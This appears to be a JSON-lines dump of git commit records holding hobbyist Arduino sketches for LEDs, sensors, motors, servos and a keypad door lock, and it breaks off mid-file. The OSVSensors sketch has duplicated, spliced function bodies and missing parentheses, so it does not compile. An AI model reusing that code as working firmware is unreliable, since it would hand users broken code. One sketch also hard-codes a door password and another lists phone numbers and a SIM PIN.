pixels:\n for (uint8_t c = 0; c < NUM_LEDS; c++) {\n uint8_t start = c*3;\n setPixelColor(c, strip.Color(DMXSerial.read(start+1),DMXSerial.read(start+2), DMXSerial.read(start+3)));\n }\n}\n\nvoid setPixelColor(uint8_t pixel, uint32_t color) {\n \/\/ Change muxes to appropriate output\n setDualPixelColor(pixel, color, color);\n}\n\nvoid setDualPixelColor(uint8_t pixel, uint32_t color1, uint32_t color2) {\n \/\/ Change muxes to appropriate output\n PORTC = (PORTC & 0xF0) + (pixel & 0x0F);\n strip.setPixelColor(0, color1);\n strip.setPixelColor(1, color2);\n strip.show();\n}\n\n\/\/ Fill the dots one after the other with a color\nvoid colorWipe(uint32_t c, uint8_t wait) {\n for(uint16_t i=0; i<NUM_LEDS; i++) {\n setPixelColor(i, c);\n delay(wait);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/WS2811Serial\/WS2811Serial.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"30b8e16cab6936847824a045f8f76dc1d4df6993","subject":"Create TeensyForearm.ino","message":"Create TeensyForearm.ino","repos":"MyRobotLab\/pyrobotlab,MyRobotLab\/pyrobotlab,MyRobotLab\/pyrobotlab,MyRobotLab\/pyrobotlab,MyRobotLab\/pyrobotlab","old_file":"home\/Markus\/TeensyForearm.ino","new_file":"home\/Markus\/TeensyForearm.ino","new_contents":"\n\/\/ These constants won't change. They're used to give names\n\/\/ to the pins used: \nconst int analogInPin1 = A0; \/\/ Analog input pin that the potentiometer is attached to\nconst int analogInPin2 = A1; \/\/ Analog input pin that the potentiometer is attached to\nconst int analogInPin3 = A2; \/\/ Analog input pin that the potentiometer is attached to\nconst int analogInPin4 = A3; \/\/ Analog input pin that the potentiometer is attached to\nconst int analogInPin5 = A4; \/\/ Analog input pin that the potentiometer is attached to\nconst int analogInPin6 = A5; \/\/ Analog input pin that the potentiometer is attached to\nconst int analogInPin7 = A6; \/\/ Analog input pin that the potentiometer is attached to\nconst int analogInPin8 = A7; \/\/ Analog input pin that the potentiometer is attached to\nconst int analogInPin9 = A8; \/\/ Analog input pin that the potentiometer is attached to\nconst int analogInPin10 = A9; \/\/ Analog input pin that the potentiometer is attached to\nconst int analogInPin11 = A10; \/\/ Analog input pin that the potentiometer is attached to\nconst int analogInPin12 = A11; \/\/ Analog input pin that the potentiometer is attached to\n\nint startValue1 = 0; \/\/ value read from the pot\nint startValue2 = 0; \/\/ value read from the pot\nint startValue3 = 0; \/\/ value read from the pot\nint startValue4 = 0; \/\/ value read from the pot\nint startValue5 = 0; \/\/ value read from the pot\nint startValue6 = 0; \/\/ value read from the pot\nint startValue7 = 0; \/\/ value read from the pot\nint startValue8 = 0; \/\/ value read from the pot\nint startValue9 = 0; \/\/ value read from the pot\nint startValue10 = 0; \/\/ value read from the pot\nint startValue11 = 0; \/\/ value read from the pot\nint startValue12 = 0; \/\/ value read from the pot\n\nint sensorValue1 = 0; \/\/ value read from the pot\nint sensorValue2 = 0; \/\/ value read from the pot\nint sensorValue3 = 0; \/\/ value read from the pot\nint sensorValue4 = 0; \/\/ value read from the pot\nint sensorValue5 = 0; \/\/ value read from the pot\nint sensorValue6 = 0; \/\/ value read from the pot\nint sensorValue7 = 0; \/\/ value read from the pot\nint sensorValue8 = 0; \/\/ value read from the pot\nint sensorValue9 = 0; \/\/ value read from the pot\nint sensorValue10 = 0; \/\/ value read from the pot\nint sensorValue11 = 0; \/\/ value read from the pot\nint sensorValue12 = 0; \/\/ value read from the pot\n\nvoid setup() {\n \/\/ initialize serial communications at 57600 bps:\n Serial.begin(57600);\n\n delay(1000);\n\n startValue1 = analogRead(analogInPin1);\n startValue2 = analogRead(analogInPin2);\n startValue3 = analogRead(analogInPin3);\n startValue4 = analogRead(analogInPin4);\n startValue5 = analogRead(analogInPin5);\n startValue6 = analogRead(analogInPin6);\n startValue7 = analogRead(analogInPin7);\n startValue8 = analogRead(analogInPin8);\n startValue9 = analogRead(analogInPin9);\n startValue10 = analogRead(analogInPin10);\n startValue11 = analogRead(analogInPin11);\n startValue12 = analogRead(analogInPin12);\n\n delay(1000);\n}\n\nvoid loop() {\n \/\/ read the analog in value:\n sensorValue1 = analogRead(analogInPin1);\n sensorValue2 = analogRead(analogInPin2);\n sensorValue3 = analogRead(analogInPin3);\n sensorValue4 = analogRead(analogInPin4);\n sensorValue5 = analogRead(analogInPin5);\n sensorValue6 = analogRead(analogInPin6);\n sensorValue7 = analogRead(analogInPin7);\n sensorValue8 = analogRead(analogInPin8);\n sensorValue9 = analogRead(analogInPin9);\n sensorValue10 = analogRead(analogInPin10);\n sensorValue11 = analogRead(analogInPin11);\n sensorValue12 = analogRead(analogInPin12);\n \n if (sensorValue1 <= startValue1 - 100){\n Serial.write(1);\n delay(200);\n }\n if (sensorValue2 <= startValue2 - 100){\n Serial.write(2);\n delay(200);\n }\n if (sensorValue3 <= startValue3 - 100){\n Serial.write(3);\n delay(200);\n }\n if (sensorValue4 <= startValue4 - 100){\n Serial.write(4);\n delay(200);\n }\n if (sensorValue5 <= startValue5 - 100){\n Serial.write(5);\n delay(200);\n }\n if (sensorValue6 <= startValue6 - 100){\n Serial.write(6);\n delay(200);\n }\n if (sensorValue7 <= startValue7 - 100){\n Serial.write(7);\n delay(200);\n }\n if (sensorValue8 <= startValue8 - 100){\n Serial.write(8);\n delay(200);\n }\n if (sensorValue9 <= startValue9 - 100){\n Serial.write(9);\n delay(200);\n }\n if (sensorValue10 <= startValue10 - 100){\n Serial.write(10);\n delay(200);\n }\n if (sensorValue11 <= startValue11 - 100){\n Serial.write(11);\n delay(200);\n }\n if (sensorValue12 <= startValue12 - 100){\n Serial.write(12);\n delay(200);\n }\n\/\/ Serial.println(sensorValue1);\n delay(20);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'home\/Markus\/TeensyForearm.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"72911011a20f44e96e9f21102849084e2204f4d9","subject":"Add files via upload","message":"Add files via upload\n\nMotor control methods, rack and pinion servo code, limit switch code, pump code, ultrasonic rangefinder code.","repos":"MSinnott\/WaterThoseOSV,MSinnott\/WaterThoseOSV","old_file":"OSVSensors.ino","new_file":"OSVSensors.ino","new_contents":"#include <Servo.h>\n\nint pingPin = 2;\nint servoPin = 5;\nint servoAngle = 0;\nint limitSwitch = 6;\nint salinityPin = A0;\n\nint pump[] = {36, 37};\nconst int\nPWM_A = 3,\nDIR_A = 12,\nBRAKE_A = 9,\n\nPWM_B = 11,\nDIR_B = 13,\nBRAKE_B = 8;\n\n\nServo servo;\nvoid setup() {\n \/\/ put your setup code here, to run once:\n Serial.begin(9600);\n \n pinMode(BRAKE_A, OUTPUT); \/\/ Brake pin on channel A\n pinMode(DIR_A, OUTPUT); \/\/ Direction pin on channel A\n pinMode(BRAKE_B, OUTPUT); \/\/ Brake pin on channel A\n pinMode(DIR_B, OUTPUT);\n \n servo.attach(servoPin);\n int i;\n \n pinMode(pump[0], OUTPUT);\n pinMode(pump[1], OUTPUT);\n \n}\n\nvoid loop() {\n forward();\n pump_in();\n delay(1000);\n pump_stop();\n delay(1000);\n pump_out();\n delay(1000);\n\/\/ for(servoAngle = 0; servoAngle < 180; servoAngle++) \/\/move the micro servo from 0 degrees to 180 degrees\n\/\/ { \n\/\/ servo.write(servoAngle); \n\/\/ delay(50); \n\/\/ }\n\n \n}\nint topOfWater = 0;\nint measureDepth(){\n int flag = 0;\n int servoAngle = 0;\n servo.write(servoAngle);\n \n while(digitalRead(limitSwitch)!=HIGH){\n servoAngle = (servoAngle+1 % 180);\n servo.write(servoAngle);\n if(flag == 0 && analogRead(salinityPin)<1000){\n topOfWater = servoAngle;\n flag = 1;\n }\n }\n return(topOfWater-servoAngle); \n}\nvoid pump_stop(){\n digitalWrite(pump[0], LOW); \n digitalWrite(pump[1], LOW); \n}\nvoid pump_in(){\n digitalWrite(pump[0], HIGH); \n digitalWrite(pump[1], LOW); \n}\nvoid pump_out(){\n digitalWrite(pump[0], LOW); \n digitalWrite(pump[1], HIGH); \n}\nint getDist(){\n long duration, cm;\n\n \/\/ The PING))) is triggered by a HIGH pulse of 2 or more microseconds.\n \/\/ Give a short LOW pulse beforehand to ensure a clean HIGH pulse:\n pinMode(pingPin, OUTPUT);\n digitalWrite(pingPin, LOW);\n delayMicroseconds(2);\n digitalWrite(pingPin, HIGH);\n delayMicroseconds(5);\n digitalWrite(pingPin, LOW);\n\n \/\/ The same pin is used to read the signal from the PING))): a HIGH\n \/\/ pulse whose duration is the time (in microseconds) from the sending\n \/\/ of the ping to the reception of its echo off of an object.\n pinMode(pingPin, INPUT);\n duration = pulseIn(pingPin, HIGH);\n cm = microsecondsToCentimeters(duration);\n \n return cm;\n}\nvoid forward(){\n digitalWrite(BRAKE_A, LOW); \/\/ setting brake LOW disable motor brake\n digitalWrite(DIR_A, HIGH); \/\/ setting direction to HIGH the motor will spin forward\n analogWrite(PWM_A, 255);\\\nvoid forward(){\n digitalWrite(BRAKE_A, LOW); \/\/ setting brake LOW disable motor brake\n digitalWrite(DIR_A, HIGH); \/\/ setting direction to HIGH the motor will spin forward\n analogWrite(PWM_A, 255); \/\/ Set the speed of the motor, 255 is the maximum value\n digitalWrite(BRAKE_B, LOW); \/\/ setting brake LOW disable motor brake\n digitalWrite(DIR_B, LOW); \/\/ setting direction to HIGH the motor will spin forward\n analogWrite(PWM_B, 255);\n}\nvoid backward(){\n digitalWrite(BRAKE_A, LOW); \/\/ setting brake LOW disable motor brake\n digitalWrite(DIR_A, LOW; \/\/ setting direction to HIGH the motor will spin forward\n analogWrite(PWM_A, 255); \/\/ Set the speed of the motor, 255 is the maximum value\n digitalWrite(BRAKE_B, LOW); \/\/ setting brake LOW disable motor brake\n digitalWrite(DIR_B, HIGH); \/\/ setting direction to HIGH the motor will spin forward\n analogWrite(PWM_B, 255);\n}\nvoid brake(){\n digitalWrite(BRAKE_A, HIGH); \/\/ setting brake LOW disable motor brake\n digitalWrite(DIR_A, LOW; \/\/ setting direction to HIGH the motor will spin forward\n analogWrite(PWM_A, 255); \/\/ Set the speed of the motor, 255 is the maximum value\n digitalWrite(BRAKE_B, HIGH); \/\/ setting brake LOW disable motor brake\n digitalWrite(DIR_B, HIGH); \/\/ setting direction to HIGH the motor will spin forward\n analogWrite(PWM_B, 255);\n}\nvoid turn_clockwise(){\n digitalWrite(BRAKE_A, LOW); \/\/ setting brake LOW disable motor brake\n digitalWrite(DIR_A, LOW; \/\/ setting direction to HIGH the motor will spin forward\n analogWrite(PWM_A, 255); \/\/ Set the speed of the motor, 255 is the maximum value\n digitalWrite(BRAKE_B, LOW); \/\/ setting brake LOW disable motor brake\n digitalWrite(DIR_B, LOW); \/\/ setting direction to HIGH the motor will spin forward\n analogWrite(PWM_B, 255);\n}\nvoid turn_counterclockwise(){\n digitalWrite(BRAKE_A, LOW); \/\/ setting brake LOW disable motor brake\n digitalWrite(DIR_A, HIGH; \/\/ setting direction to HIGH the motor will spin forward\n analogWrite(PWM_A, 255); \/\/ Set the speed of the motor, 255 is the maximum value\n digitalWrite(BRAKE_B, LOW); \/\/ setting brake LOW disable motor brake\n digitalWrite(DIR_B, HIGH); \/\/ setting direction to HIGH the motor will spin forward\n analogWrite(PWM_B, 255);\n} \/\/ Set the speed of the motor, 255 is the maximum value\n digitalWrite(BRAKE_B, LOW); \/\/ setting brake LOW disable motor brake\n digitalWrite(DIR_B, LOW); \/\/ setting direction to HIGH the motor will spin forward\n analogWrite(PWM_B, 255);\n}\nvoid backward(){\n digitalWrite(BRAKE_A, LOW); \/\/ setting brake LOW disable motor brake\n digitalWrite(DIR_A, LOW); \/\/ setting direction to HIGH the motor will spin forward\n analogWrite(PWM_A, 255); \/\/ Set the speed of the motor, 255 is the maximum value\n digitalWrite(BRAKE_B, LOW); \/\/ setting brake LOW disable motor brake\n digitalWrite(DIR_B, HIGH); \/\/ setting direction to HIGH the motor will spin forward\n analogWrite(PWM_B, 255);\n}\nvoid brake(){\n digitalWrite(BRAKE_A, HIGH); \/\/ setting brake LOW disable motor brake\n digitalWrite(DIR_A, LOW); \/\/ setting direction to HIGH the motor will spin forward\n analogWrite(PWM_A, 255); \/\/ Set the speed of the motor, 255 is the maximum value\n digitalWrite(BRAKE_B, HIGH); \/\/ setting brake LOW disable motor brake\n digitalWrite(DIR_B, HIGH); \/\/ setting direction to HIGH the motor will spin forward\n analogWrite(PWM_B, 255);\n}\nvoid turn_clockwise(){\n digitalWrite(BRAKE_A, LOW); \/\/ setting brake LOW disable motor brake\n digitalWrite(DIR_A, LOW); \/\/ setting direction to HIGH the motor will spin forward\n analogWrite(PWM_A, 255); \/\/ Set the speed of the motor, 255 is the maximum value\n digitalWrite(BRAKE_B, LOW); \/\/ setting brake LOW disable motor brake\n digitalWrite(DIR_B, LOW); \/\/ setting direction to HIGH the motor will spin forward\n analogWrite(PWM_B, 255);\n}\nvoid turn_counterclockwise(){\n digitalWrite(BRAKE_A, LOW); \/\/ setting brake LOW disable motor brake\n digitalWrite(DIR_A, HIGH); \/\/ setting direction to HIGH the motor will spin forward\n analogWrite(PWM_A, 255); \/\/ Set the speed of the motor, 255 is the maximum value\n digitalWrite(BRAKE_B, LOW); \/\/ setting brake LOW disable motor brake\n digitalWrite(DIR_B, HIGH); \/\/ setting direction to HIGH the motor will spin forward\n analogWrite(PWM_B, 255);\n}\n\nlong microsecondsToCentimeters(long microseconds) {\n \/\/ The speed of sound is 340 m\/s or 29 microseconds per centimeter.\n \/\/ The ping travels out and back, so to find the distance of the\n \/\/ object we take half of the distance travelled.\n return microseconds \/ 29 \/ 2;\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'OSVSensors.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d249a09313cff2b0a5acdb825687221da92e41ab","subject":"Create marquee_v2.ino","message":"Create marquee_v2.ino","repos":"marmilicious\/FastLED_examples","old_file":"marquee_v2.ino","new_file":"marquee_v2.ino","new_contents":"\/\/***************************************************************\n\/\/ Marquee fun\n\/\/ Pixel position down the strip comes from this formula:\n\/\/ pos = spacing * (i-1) + spacing\n\/\/ i starts at 0 and is incremented by +1 up to NUM_LEDS\/spacing.\n\/\/\n\/\/ Marc Miller, Apr 2016\n\/\/***************************************************************\n\n#include \"FastLED.h\"\n#define LED_TYPE LPD8806\n#define DATA_PIN 11\n#define CLOCK_PIN 13\n#define NUM_LEDS 32\n#define COLOR_ORDER GRB\nCRGB leds[NUM_LEDS];\n\nuint16_t holdTime = 250; \/\/ Milliseconds to hold position before advancing.\nuint8_t spacing = 2; \/\/ Sets pixel spacing. (Use 2 or greater.)\nint8_t delta = 1; \/\/ Sets forward or backwards direction amount. (Can be negative.)\n\nboolean fadingTail = 0; \/\/ Add fading tail? [1=true, 0=falue]\nuint8_t fadeRate = 170; \/\/ How fast to fade out tail. [0-255]\n\nuint8_t hue = 60; \/\/ Starting color.\nboolean DEBUG = 0; \/\/ Print some info to serial monitor. [1=true, 0=falue]\n\nint16_t pos; \/\/ Pixel position.\nint8_t advance; \/\/ Stores the advance amount.\n\n\n\/\/---------------------------------------------------------------\nvoid setup() {\n \/\/Serial.begin(115200); \/\/ Allows serial monitor output (check baud rate)\n delay(3000); \/\/ Startup delay\n FastLED.addLeds<LED_TYPE, DATA_PIN, CLOCK_PIN, COLOR_ORDER>(leds, NUM_LEDS);\n FastLED.setBrightness(64);\n}\n\n\/\/---------------------------------------------------------------\nvoid loop() {\n\n EVERY_N_SECONDS(40){ \/\/ Change direction every N seconds.\n delta = -1*delta;\n }\n\n EVERY_N_SECONDS(10){ \/\/ Demo changing the pixel spacing every N seconds.\n spacing = spacing + 1;\n if (spacing == 9) { spacing = 2; } \/\/ Reset spacing to 2\n if (spacing >4) { spacing = 8; } \/\/ Jump spacing up to 8\n hue = hue + random8(30,61); \/\/ Shift the hue to something new.\n }\n \n EVERY_N_MILLISECONDS(holdTime){ \/\/ Advance pixels to next position.\n if (DEBUG==1) { \/\/ Print out some info if DEBUG is true.\n Serial.print(\"delta: \"); Serial.print(delta);\n Serial.print(\" spacing: \"); Serial.print(spacing); Serial.print(\" \");\n }\n for (uint8_t i=0; i<(NUM_LEDS\/spacing); i++){\n pos = (spacing * (i-1) + spacing + advance) % NUM_LEDS;\n leds[pos] = CHSV(hue,255,255);\n\n if (DEBUG==1) { \/\/ Print out lit pixels if DEBUG is true.\n Serial.print(\" \"); Serial.print(pos);\n }\n }\n if (DEBUG==1) { Serial.println(\" \"); }\n FastLED.show();\n \n \/\/ Fade out tail or set back to black for next loop around.\n if (fadingTail == 1) {\n fadeToBlackBy(leds, NUM_LEDS,fadeRate);\n } else {\n for (uint8_t i=0; i<(NUM_LEDS\/spacing); i++){\n pos = (spacing * (i-1) + spacing + advance) % NUM_LEDS;\n leds[pos] = CRGB::Black;\n }\n }\n \n \/\/ Advance pixel postion down strip, and rollover if needed.\n advance = (advance + delta + NUM_LEDS) % NUM_LEDS;\n }\n\n}\/\/end_main_loop\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'marquee_v2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7fcb52e7b973b60cb0ddeee3b150bcd46b82dc16","subject":"sisth","message":"sisth\n","repos":"lindakellner\/attempt,lindakellner\/attempt","old_file":"dreifachblinker_taster1.ino","new_file":"dreifachblinker_taster1.ino","new_contents":"const int ledPin1 = 8;\nconst int ledPin2 = 10;\nconst int ledPin3 = 12;\nconst int taster = 2;\n\nint ledState1 = LOW;\nint ledState2 = LOW;\nint ledState3 = LOW;\n\nunsigned long previousMillis1 = 0;\nunsigned long previousMillis2 = 0;\nunsigned long previousMillis3 = 0;\n\nint led1int = 500;\nint led2int = 1000;\nint led3int = 1500;\n\nvoid setup() {\n pinMode(ledPin1, OUTPUT);\n pinMode(ledPin2, OUTPUT);\n pinMode(ledPin3, OUTPUT);\n pinMode(taster, INPUT);\n while (digitalRead(taster)==LOW) {}\n}\n\nvoid loop() {\n unsigned long currentMillis = millis();\n if (currentMillis - previousMillis1 >= led1int) {\n previousMillis1 = currentMillis;\n\n if (ledState1 == LOW) {\n ledState1 = HIGH;\n } else {\n ledState1 = LOW;\n }\n}\n\n if (currentMillis - previousMillis2 >= led2int) {\n previousMillis2 = currentMillis;\n\n if (ledState2 == LOW) {\n ledState2 = HIGH;\n } else {\n ledState2 = LOW;\n }\n}\n\n if (currentMillis - previousMillis3 >= led3int) {\n previousMillis3 = currentMillis;\n\n if (ledState3 == LOW) {\n ledState3 = HIGH;\n } else {\n ledState3 = LOW;\n }\n}\n\n digitalWrite(ledPin1, ledState1);\n digitalWrite(ledPin2, ledState2);\n digitalWrite(ledPin3, ledState3);\n }\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'dreifachblinker_taster1.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c909066fe8c3035b5a8305630bf6eab4fd73b746","subject":"Add final actuator example","message":"Add final actuator example\n","repos":"phodal\/iot-code,designiot\/code,phodal\/iot-code,designiot\/code,designiot\/code,phodal\/iot-code,phodal\/iot-code,designiot\/code","old_file":"chapter5\/final-actuator\/final-actuator.ino","new_file":"chapter5\/final-actuator\/final-actuator.ino","new_contents":"#include <IRremote.h>\n\nint port = 12;\nIRsend irsend;\nint startArduino = 1;\nint irRemote = 2;\nint stopArduino = 3;\n\nvoid setup() {\n Serial.begin(9600);\n pinMode(port, OUTPUT);\n}\n\nint serialData;\nvoid loop() {\n String inString = \"\";\n while (Serial.available()> 0)\n {\n int inChar = Serial.read();\n if (isDigit(inChar)) {\n inString += (char)inChar;\n }\n serialData=inString.toInt();\n Serial.print(serialData);\n }\n if(serialData == startArduino){\n digitalWrite(port, HIGH);\n } else if( serialData == irRemote){\n irsend.sendNEC(0xFFA25D,32); \n delay(1000);\n } else if (serialData == stopArduino) {\n digitalWrite(port, LOW); \n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'chapter5\/final-actuator\/final-actuator.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"84816066fa3ff895cb721496272c92a5f1d25bf4","subject":"Create 7_Codice_Dataphys_Pneuma.ino","message":"Create 7_Codice_Dataphys_Pneuma.ino","repos":"Fupete\/ID2-2015-UNIRSM,fraguz\/ID2-2015,Fupete\/ID2-2015-UNIRSM,fraguz\/ID2-2015,Fupete\/ID2-2015,Fupete\/ID2-2015","old_file":"3_dataphys\/7_Codice_Dataphys_Pneuma.ino","new_file":"3_dataphys\/7_Codice_Dataphys_Pneuma.ino","new_contents":"\/\/\/\/\/ ------ ARDUINO ------\/\/\/\/\/\/\/\n\/* \nThe MIT License (MIT)\n Copyright (c) 2015 Federico Lo Porto for the course ID2-2015 @ UnirSM\n Permission is hereby granted, free of charge, to any person obtaining a copy\n of this software and associated documentation files (the \"Software\"), to deal\n in the Software without restriction, including without limitation the rights\n to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n copies of the Software, and to permit persons to whom the Software is\n furnished to do so, subject to the following conditions:\n The above copyright notice and this permission notice shall be included in all\n copies or substantial portions of the Software.\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n SOFTWARE.\n \n Lo sketch fa muovere il pistone dell'installazione Pneuma.\n E' collegato a processing da cui riceve i valori.\n\n\n*\/\n\n\n#include <Servo.h>\nServo myservo1;\nchar tastiera = 0;\nint incomingByte;\nfloat tempo;\n\nvoid setup() {\n myservo1.attach (3);\n Serial.begin(9600);\n}\n\nvoid loop() {\n \/\/ if (Serial.available() > 0) {\n incomingByte = Serial.read();\nSerial.print(incomingByte);\nif(incomingByte=='A')\n{\n tempo=500;\n}\nif(incomingByte=='B')\n{\n tempo=1000;\n}\nif(incomingByte=='C')\n{\n tempo=2500;\n}\nif(incomingByte=='D')\n{\n tempo=2000;\n}\n\n myservo1.writeMicroseconds (1500); \/\/dietro\n delay(tempo);\n\n myservo1.writeMicroseconds (1480); \/\/fermo\n delay(tempo\/2);\n\n myservo1.writeMicroseconds (1460); \/\/dietro\n delay(tempo);\n\n myservo1.writeMicroseconds (1480); \/\/fermo\n delay(tempo\/2);\n }\n","old_contents":"","returncode":1,"stderr":"error: pathspec '3_dataphys\/7_Codice_Dataphys_Pneuma.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b10b163d2b311781c96974df5a57734f3c62030b","subject":"Paddle Emulator","message":"Paddle Emulator\n","repos":"LeifBloomquist\/JoystickEmulator,LeifBloomquist\/JoystickEmulator","old_file":"Arduino\/PaddleEmulator\/PaddleEmulator.ino","new_file":"Arduino\/PaddleEmulator\/PaddleEmulator.ino","new_contents":"#include <EnableInterrupt.h>\n\n\/\/ C64 Paddle Emulator for the Arduino Nano\n\n#define PIN_POTX_IN 12\n#define PIN_POTY_IN 11\n#define PIN_POTX_OUT\n#define PIN_POTY_OUT\n\nvolatile uint16_t interruptCountX=0; \/\/ The count will go back to 0 after hitting 65535.\nvolatile uint16_t interruptCountY=0; \/\/ The count will go back to 0 after hitting 65535.\n\nuint16_t lastCountX=0;\nuint16_t lastCountY=0;\n\nvoid interruptFunctionX() \n{\n interruptCountX++;\n}\n\nvoid interruptFunctionY() \n{\n interruptCountY++;\n}\n\n\/\/ Attach the interrupt in setup()\nvoid setup() \n{\n Serial.begin(57600);\n \n pinMode(PIN_POTX_IN, INPUT_PULLUP); \/\/ Configure the pin as an input, and turn on the pullup resistor.\n pinMode(PIN_POTY_IN, INPUT_PULLUP); \/\/ Configure the pin as an input, and turn on the pullup resistor.\n \n enableInterrupt(PIN_POTX_IN | PINCHANGEINTERRUPT, interruptFunctionX, FALLING );\n enableInterrupt(PIN_POTY_IN | PINCHANGEINTERRUPT, interruptFunctionY, FALLING );\n}\n\n\/\/ In the loop, we just check to see where the interrupt count is at. The value gets updated by the interrupt routine.\nvoid loop() {\n Serial.println(\"---------------------------------------\");\n delay(1000); \/\/ Every second,\n Serial.print(\"X Pin was interrupted: \");\n Serial.print(interruptCountX, DEC); \/\/ print the interrupt count.\n Serial.print(\" times so far. \");\n Serial.print(\"Delta: \");\n Serial.println(interruptCountX-lastCountX);\n lastCountX = interruptCountX;\n \n Serial.print(\"Y Pin was interrupted: \");\n Serial.print(interruptCountY, DEC); \/\/ print the interrupt count.\n Serial.print(\" times so far. \");\n Serial.print(\"Delta: \");\n Serial.println(interruptCountY-lastCountY);\n lastCountY = interruptCountY;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/PaddleEmulator\/PaddleEmulator.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"62a435c944f7a37bd6bf57fd7572eefef913ee2f","subject":"TA Project initial commit","message":"TA Project initial commit\n","repos":"Dimasdanz\/BiotechProject,Dimasdanz\/BiotechProject","old_file":"BiotechHardware\/dcs\/dcs_ta1\/dcs_ta1.ino","new_file":"BiotechHardware\/dcs\/dcs_ta1\/dcs_ta1.ino","new_contents":"#include <PinChangeInt.h>\n#include <Keypad.h>\n#define NO_PORTB_PINCHANGES\n#define NO_PORTD_PINCHANGES\n#define NO_PIN_STATE\n#define NO_PIN_NUMBER\n\nlong prevTime = 0;\nvolatile int int_code = 0;\nchar pass[4];\nint count = 0;\nint attempts = 0;\nboolean isBlocked = false;\n\nconst byte ROWS = 4;\nconst byte COLS = 3;\nchar keys[ROWS][COLS] = {\n{'1','2','3'},\n{'4','5','6'},\n{'7','8','9'},\n{'*','0','#'}};\n\nbyte rowPins[ROWS] = {2, 3, 4, 5};\nbyte colPins[COLS] = {6, 7, 8};\n\nKeypad keypad = Keypad(makeKeymap(keys), rowPins, colPins, ROWS, COLS );\n\nvoid outside_source() {\n Serial.println(\"Out\");\n int_code = 1;\n}\n\nvoid inside_source() {\n int_code = 2;\n}\n\nvoid setup(){\n Serial.begin(9600);\n Serial.println(\"PinChangeInt test on pin A3\");\n pinMode(A3, INPUT);\n digitalWrite(A3, HIGH);\n PCintPort::attachInterrupt(A3, &outside_source, RISING);\n}\n\nvoid loop(){\n unsigned long curTime = millis();\n if(curTime - prevTime > 30000 && isBlocked){\n prevTime = curTime;\n isBlocked = false;\n }\n \n if(int_code == 0){\n \/\/Check Server\n }\n else if(int_code == 1){\n \/\/Idle check\n if(curTime - prevTime > 10000 && !isBlocked){\n prevTime = curTime;\n attempts = 0;\n int_code = 0;\n }\n \/\/Block check\n if(isBlocked){\n Serial.println(\"Blocked\");\n Serial.print(\"Wait for \");\n Serial.print((curTime - prevTime)\/1000);\n Serial.println(\" second\");\n delay(1000);\n int_code = 0;\n }\n char key = keypad.getKey();\n if (key != NO_KEY){\n Serial.print(key);\n pass[count] = key;\n count++;\n if(count >= 4){\n attempts++;\n pass[count] = '\\0';\n String pswd(pass);\n pass_init();\n if(pswd == \"1234\"){\n attempts = 0;\n open_door();\n }\n else{\n prevTime = curTime;\n Serial.println(\"Salah\");\n if(attempts >= 3){\n attempts = 0;\n isBlocked = true;\n int_code = 0;\n Serial.println(\"Wait for 30 seconds\");\n }\n }\n }\n }\n }\n else if(int_code == 2){\n Serial.println(\"Pintu terbuka\");\n open_door();\n }\n}\n\nvoid pass_init(){\n memset(pass, 0, sizeof pass);\n count = 0;\n}\n\nvoid open_door(){\n Serial.println(\"Door open\");\n delay(4000);\n Serial.println(\"Door close\");\n int_code = 0;\n}\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'BiotechHardware\/dcs\/dcs_ta1\/dcs_ta1.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"fba04ccdea95311155ff6c70eb6e7cc311afe491","subject":"Serial now working with ble, need to use \"Serial1.print\". Did not need to use software serial.","message":"Serial now working with ble, need to use \"Serial1.print\". Did not need to use software serial.\n","repos":"FirstBuild\/pizzaduino,FirstBuild\/pizzaduino,FirstBuild\/pizzaduino","old_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/FirstBuild\/pizzaduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"2d0404eef5b4e8f0f7475af268d2bb7272ab743d","subject":"Added first lab","message":"Added first lab\n","repos":"mikedanylov\/EmbeddedCellularLabs","old_file":"Lab_s1e5\/Lab_s1e5.ino","new_file":"Lab_s1e5\/Lab_s1e5.ino","new_contents":"#include <LiquidCrystal.h>\n#include <Servo.h>\n\n\/\/ device phone number: 0466259105 \n\/\/ SIM card pin: 1234\n\nLiquidCrystal lcd(12, 11, 5, 4, 3, 2);\nServo gate;\n\nString authNumbers[] = {\"0405369467\\n\", \"0401959797\\n\"};\nString input = \"\";\nbool stringComplete = false;\nint attempt = 0;\nint LEDPIN = 13;\nint gateMin = 45;\nint gateMax = 135;\n\nvoid setup() {\n Serial.begin(9600);\n 